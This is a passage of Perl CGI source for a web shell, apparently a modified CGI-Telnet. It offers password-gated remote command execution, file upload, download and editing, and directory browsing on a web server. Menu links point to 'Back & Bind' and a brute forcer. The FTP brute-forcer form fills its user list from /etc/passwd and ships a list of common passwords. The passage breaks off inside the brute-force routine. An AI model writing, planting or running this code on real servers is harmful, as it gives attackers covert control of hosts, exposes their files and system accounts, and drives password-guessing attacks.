{\nBORDER-RIGHT: #3e3e3e 1px solid;\nBORDER-TOP: #3e3e3e 1px solid;\nBORDER-LEFT: #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #2BA8EC;\nfont: 10pt Verdana;\n}\n\ntable {\nBORDER-RIGHT: #3e3e3e 1px solid;\nBORDER-TOP: #3e3e3e 1px solid;\nBORDER-LEFT: #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #111;\n}\n\n\ninput {\nBORDER-RIGHT: #3e3e3e 1px solid;\nBORDER-TOP: #3e3e3e 1px solid;\nBORDER-LEFT: #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana;\ncolor: #ff9900;\n}\n\ninput.submit {\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\ncolor: #FFFFFF;\nborder-color: #009900;\n}\n\ncode {\nborder\t\t\t: dashed 0px #333;\nBACKGROUND-COLOR: Black;\nfont: 10pt Verdana bold;\ncolor: while;\n}\n\nrun {\nborder\t\t\t: dashed 0px #333;\nfont: 10pt Verdana bold;\ncolor: #FF00AA;\n}\n\ntextarea {\nBORDER-RIGHT: #3e3e3e 1px solid;\nBORDER-TOP: #3e3e3e 1px solid;\nBORDER-LEFT: #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #1b1b1b;\nfont: Fixedsys bold;\ncolor: #aaa;\n}\nA:link {\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\n}\nA:hover {\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #ff9900; TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red; TEXT-DECORATION: none\n}\n\n.listdir tr:hover{\n\tbackground: #444;\n}\n.listdir tr:hover td{\n\tbackground: #444;\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\n}\n.notline{\n\tbackground: #111;\n}\n.line{\n\tbackground: #222;\n}\n</style>\n<script language=\"javascript\">\nfunction chmod_form(i,file)\n{\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\n\tvar ajax=\"\";\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \" name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_chmod_form(response,i,perms,file)\n{\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\n}\nfunction rename_form(i,file,f)\n{\n\tvar ajax=\"\";\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \" name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_rename_form(i,file,f)\n{\n\tif(f=='f')\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\n\t}else\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\n\t}\n}\n</script>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<center><code>\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n\t<td align=\"center\" rowspan=2>\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\n\t</td>\n\n\t<td>\n\n\t\t<font face=\"Verdana\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\n\t</td>\n\t<td>Server IP:<font color=\"#cc0000\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#000000\">\$ENV{'REMOTE_ADDR'}</font>\n\t</td>\n\n</tr>\n\n<tr>\n<td colspan=\"3\"><font face=\"Verdana\" size=\"2\">\n<a href=\"\$ScriptLocation\">Home</a> | \n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\n<a target='_blank' href=\"#\">Help</a>\n\n</font></td>\n</tr>\n</table>\n<font id=\"ResponseData\" color=\"#ff99cc\" >\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\n\tprint <<END;\n<pre><script type=\"text/javascript\">\nTypingText = function(element, interval, cursor, finishedCallback) {\n if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\n this.running = true;\t// Never run.\n return;\n }\n this.element = element;\n this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\n this.interval = (typeof interval == \"undefined\" ? 100 : interval);\n this.origText = this.element.innerHTML;\n this.unparsedOrigText = this.origText;\n this.cursor = (cursor ? cursor : \"\");\n this.currentText = \"\";\n this.currentChar = 0;\n this.element.typingText = this;\n if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\n TypingText.all.push(this);\n this.running = false;\n this.inTag = false;\n this.tagBuffer = \"\";\n this.inHTMLEntity = false;\n this.HTMLEntityBuffer = \"\";\n}\nTypingText.all = new Array();\nTypingText.currentIndex = 0;\nTypingText.runAll = function() {\n for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\n}\nTypingText.prototype.run = function() {\n if(this.running) return;\n if(typeof this.origText == \"undefined\") {\n setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet. Have patience.\n return;\n }\n if(this.currentText == \"\") this.element.innerHTML = \"\";\n// this.origText = this.origText.replace(/<([^<])*>/, \"\"); // Strip HTML from text.\n if(this.currentChar < this.origText.length) {\n if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\n this.tagBuffer = \"<\";\n this.inTag = true;\n this.currentChar++;\n this.run();\n return;\n } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\n this.tagBuffer += \">\";\n this.inTag = false;\n this.currentText += this.tagBuffer;\n this.currentChar++;\n this.run();\n return;\n } else if(this.inTag) {\n this.tagBuffer += this.origText.charAt(this.currentChar);\n this.currentChar++;\n this.run();\n return;\n } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\n this.HTMLEntityBuffer = \"&\";\n this.inHTMLEntity = true;\n this.currentChar++;\n this.run();\n return;\n } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\n this.HTMLEntityBuffer += \";\";\n this.inHTMLEntity = false;\n this.currentText += this.HTMLEntityBuffer;\n this.currentChar++;\n this.run();\n return;\n } else if(this.inHTMLEntity) {\n this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\n this.currentChar++;\n this.run();\n return;\n } else {\n this.currentText += this.origText.charAt(this.currentChar);\n }\n this.element.innerHTML = this.currentText;\n this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\n this.currentChar++;\n setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\n } else {\n\tthis.currentText = \"\";\n\tthis.currentChar = 0;\n this.running = false;\n this.finishedCallback();\n }\n}\n</script>\n</pre>\n\n<font style=\"font: 15pt Verdana; color: yellow;\">Copyright (C) 2001 Rohitab Batra </font><br><br>\n<table align=\"center\" border=\"1\" width=\"600\" heigh>\n<tbody><tr>\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\n<font color=\"#009900\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#009900\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\n<font color=\"#F00000\"><font color=\"#FFF000\">~\\\$</font> Connected ! </font><br>\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\n\n<font color=\"#F00000\"><font color=\"#FFF000\">\$ServerName~</font>\\\$ Connected Command! </font><br>\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\n</tr>\n</tbody></table>\n<br>\n\n<script type=\"text/javascript\">\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\nTypingText.runAll();\n\n</script>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Add html special chars\n#------------------------------------------------------------------------------\nsub HtmlSpecialChars(\$){\n\tmy \$text = shift;\n\t\$text =~ s/&/&/g;\n\t\$text =~ s/\"/"/g;\n\t\$text =~ s/'/'/g;\n\t\$text =~ s/</</g;\n\t\$text =~ s/>/>/g;\n\treturn \$text;\n}\n#------------------------------------------------------------------------------\n# Add link for directory\n#------------------------------------------------------------------------------\nsub AddLinkDir(\$)\n{\n\tmy \$ac=shift;\n\tmy @dir=();\n\tif(\$WinNT)\n\t{\n\t\t@dir=split(/\\\\/,\$CurrentDir);\n\t}else\n\t{\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\n\t}\n\tmy \$path=\"\";\n\tmy \$result=\"\";\n\tforeach (@dir)\n\t{\n\t\t\$path .= \$_.\$PathSep;\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<br>Login : Administrator<br>\n\nPassword:<br>\nLogin incorrect<br><br>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nLogin : Administrator<br>\nPassword:<input type=\"password\" name=\"p\">\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"<br><font color=red>o---[ <font color=#ff9900>Edit by \$EditPersion </font> ]---o</font></code></center></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{''}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"Connection closed by foreign host.<br><br>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n\texit;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader;\n\t\tprint &ListDir;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#66ff66'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"command\">\n\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" size=\"50\" name=\"c\">\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\tmy \$dir = &AddLinkDir(\"download\"); \n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\tmy \$dir= &AddLinkDir(\"upload\");\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions: <input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\n<label for=\"up\">Overwrite if it Exists</label><br><br>\nUpload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\n\n</form>\n\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\treturn <<END;\n</textarea>\n<br><font color=yellow>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\n<br><font size='6' color=red>Killed it!</font>\nEND\n\t}\n}\n\n\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tmy \$result=\"\";\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\t\$result .= <<END;\nSending File \$TransferFile...<br>\n\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>\nEND\n\t\t\$result .= &PrintCommandLineInputForm;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\n\t\t\$result .= &PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tmy \$result = \"\";\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~ m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t\texit(1);\n\t}\n\telse # failed to open file\n\t{\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\n\t\t\$result .=&PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\treturn &PrintFileUploadForm;\n\n\t}\n\tmy \$result=\"\";\n\t# start the uploading process\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$result .= \"Failed: \$!<br>\";\n\t\t}\n\t}\n\t\$result .= &PrintCommandLineInputForm;\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\treturn &PrintFileDownloadForm;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\treturn &SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tmy \$result=\"\";\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t\$result .= &PrintCommandLineInputForm;\n\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\n\t\t\$result .= &RunCmd;\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\n\t{\n\t\t\$result .= &SaveFileForm;\n\t}else\n\t{\n\t\t\$result .= &PrintCommandLineInputForm;\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t\$result .=&RunCmd;\n\t}\n\t\$result .= \"</textarea>\";\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------\n# run command\n#------------------------------------------------------------------------\n\nsub RunCmd\n{\n\tmy \$result=\"\";\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\tif(!\$WinNT)\n\t{\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\talarm(\$CommandTimeoutDuration);\n\t}\n\tif(\$ShowDynamicOutput) # show output as it is generated\n\t{\n\t\t\$|=1;\n\t\t\$Command .= \" |\";\n\t\topen(CommandOutput, \$Command);\n\t\twhile(<CommandOutput>)\n\t\t{\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\n\t\t}\n\t\t\$|=0;\n\t}\n\telse # show output after command completes\n\t{\n\t\t\$result .= &HtmlSpecialChars('\$Command');\n\t}\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t}\n\treturn \$result;\n}\n#==============================================================================\n# Form Save File \n#==============================================================================\nsub SaveFileForm\n{\n\tmy \$result =\"\";\n\tsubstr(\$RunCommand,0,5)=\"\";\n\tmy \$file=&trim(\$RunCommand);\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\n\tif(-w \$File)\n\t{\n\t\t\$rows=\"23\"\n\t}else\n\t{\n\t\t\$msg=\"<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>\";\n\t\t\$rows=\"20\"\n\t}\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\t\$read=(\$WinNT)?\"type\":\"less\";\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\n\t\$result .= <<END;\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\t\$Prompt\n\t<input type=\"text\" size=\"40\" name=\"c\">\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\n\t<br>Command: <run> \$RunCommand </run>\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\nEND\n\t\n\t\$result .= &RunCmd;\n\t\$result .= \"</textarea>\";\n\t\$result .= \"</form>\";\n\treturn \$result;\n}\n#==============================================================================\n# Save File\n#==============================================================================\nsub SaveFile(\$)\n{\n\tmy \$Data= shift ;\n\tmy \$File= shift;\n\t\$File=\$CurrentDir.\$PathSep.\$File;\n\tif(open(FILE, \">\$File\"))\n\t{\n\t\tbinmode FILE;\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\treturn 1;\n\t}else\n\t{\n\t\treturn 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Brute Forcer Form\n#------------------------------------------------------------------------------\nsub BruteForcerForm\n{\n\tmy \$result=\"\";\n\t\$result .= <<END;\n\n<table>\n\n<tr>\n<td colspan=\"2\" align=\"center\">\n####################################<br>\nSimple FTP brute forcer<br>\n####################################\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\n</td>\n</tr>\n<tr>\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\nEND\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\n\$result .= <<'END';\n</textarea></td>\n<td>\n\nPass:<br>\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\n123!@#\n123admin\n123abc\n123456admin\n1234554321\n12344321\npass123\nadmin\nadmincp\nadministrator\nmatkhau\npassadmin\np@ssword\np@ssw0rd\npassword\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n234234\n345345\n456456\n567567\n678678\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin123\nadmin123456\nabcdef\nabcabc\n!@#!@#\n!@#\$%^\n!@#\$%^&*(\n!@#\$\$#@!\nabc123\nanhyeuem\niloveyou</textarea>\n</td>\n</tr>\n<tr>\n<td colspan=\"2\" align=\"center\">\nSleep:<select name=\"sleep\">\n\n<option>0</option>\n<option>1</option>\n<option>2</option>\n\n<option>3</option>\n</select> \n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\n</form>\n</table>\nEND\nreturn \$result;\n}\n#------------------------------------------------------------------------------\n# Brute Forcer\n#------------------------------------------------------------------------------\nsub BruteForcer\n{\n\tmy \$result=\"\";\n\t\$Server=\$ENV{'SERVER_ADDR'};\n\tif(\$in{'user'} eq \"\")\n\t{\n\t\t\$result .= &BruteForcerForm;\n\t}else\n\t{\n\t\tuse Net::FTP; \n\t\t@user= split(/\\n/, \$in{'user'});\n\t\t@pass= split(/\\n/, \$in{'pass'});\n\t\tchomp(@user);\n\t\tchomp(@pass);\n\t\t\$result .= \"<br><br>[+] Trying brute 